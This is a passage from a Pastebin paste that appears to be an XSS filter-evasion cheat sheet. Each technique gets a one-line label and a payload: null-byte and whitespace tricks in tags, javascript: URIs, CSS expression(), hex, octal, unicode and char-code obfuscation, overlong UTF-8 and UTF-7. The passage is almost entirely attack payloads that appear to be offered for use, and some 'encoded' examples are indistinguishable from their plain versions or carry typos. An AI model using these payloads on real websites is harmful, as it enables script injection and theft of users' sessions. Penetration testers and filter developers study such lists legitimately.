  455. <img src='1' onerror\x00=alert(0) />
  456. Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
  457. <img src='1' onerror/=alert(0) />
  458. Vertical tab between HTML attribute name and equal sign (IE, Safari).
  459. <img src='1' onerror\x0b=alert(0) />
  460. Null-byte character between equal sign and JavaScript code (IE).
  461. <img src='1' onerror=\x00alert(0) />
  462. Null-byte character between characters of HTML attribute names (IE).
  463. <img src='1' o\x00nerr\x00or=alert(0) />
  464. Null-byte character before characters of HTML element names (IE).
  465. <\x00img src='1' onerror=alert(0) />
  466. Null-byte character after characters of HTML element names (IE, Safari).
  467. <script\x00>alert(1)</script>
  468. Null-byte character between characters of HTML element names (IE).
  469. <i\x00mg src='1' onerror=alert(0) />
  470. Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
  471. <img/src='1'/onerror=alert(0)>
  472. Use vertical tabs instead of whitespace (IE, Safari).
  473. <img\x0bsrc='1'\x0bonerror=alert(0)>
  474. Use quotes instead of whitespace in some situations (Safari).
  475. <img src='1''onerror='alert(0)'>
  476. <img src='1'"onerror="alert(0)">
  477. Use null-bytes instead of whitespaces in some situations (IE).
  478. <img src='1'\x00onerror=alert(0)>
  479. Just don't use spaces (IE, Firefox, Chrome, Safari).
  480. <img src='1'onerror=alert(0)>
  481. Prefix URI schemes.
  482. Firefox (\x09, \x0a, \x0d, \x20)
  483. Chrome (Any character \x01 to \x20)
  484. <iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->
  485. No greater-than characters needed (IE, Firefox, Chrome, Safari).
  486. <img src='1' onerror='alert(0)' <
  487. Extra less-than characters (IE, Firefox, Chrome, Safari).
  488. <<script>alert(0)</script>
  489. Backslash character between expression and opening parenthesis (IE).
  490. <style>body{background-color:expression\(alert(1))}</style>
  491. JavaScript Escaping
  492. <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
  493. Encoding Galore.
  494. HTML Attribute Encoding
  495. <img src="1" onerror="alert(1)" />
  496. <img src="1" onerror="alert(1)" />
  497. <iframe src="javascript:alert(1)"></iframe>
  498. <iframe src="javascript:alert(1)"></iframe>
  499. URL Encoding
  500. <iframe src="javascript:alert(1)"></iframe>
  501. <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
  502. CSS Hexadecimal Encoding (IE specific examples)
  503. <div style="x:expression(alert(1))">Joker</div>
  504. <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
  505. <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
  506. <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
  507. JavaScript (hexadecimal, octal, and unicode)
  508. <script>document.write('<img src=1 onerror=alert(1)>');</script>
  509. <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
  510. <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
  511. <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
  512. JavaScript (Decimal char codes)
  513. <script>document.write('<img src=1 onerror=alert(1)>');</script>
  514. <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
  515. JavaScript (Unicode function and variable names)
  516. <script>alert(123)</script>
  517. <script>\u0061\u006C\u0065\u0072\u0074(123)</script>
  518. Overlong UTF-8 (SiteMinder is awesome!)
  519. < = %C0%BC = %E0%80%BC = %F0%80%80%BC
  520. > = %C0%BE = %E0%80%BE = %F0%80%80%BE
  521. ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
  522. " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
  523. <img src="1" onnerror="alert(1)">
  524. %E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
  525. UTF-7 (Missing charset?)
  526. <img src="1" onerror="alert(1)" />
  527. +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
  528. Unicode .NET Ugliness
  529. <script>alert(1)</script>
  530.  
  531. -----------------------------------------------
  532.  
  533. Credits ::: Github and other reference !!
  534.  
  535. ----------------------------------------------
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!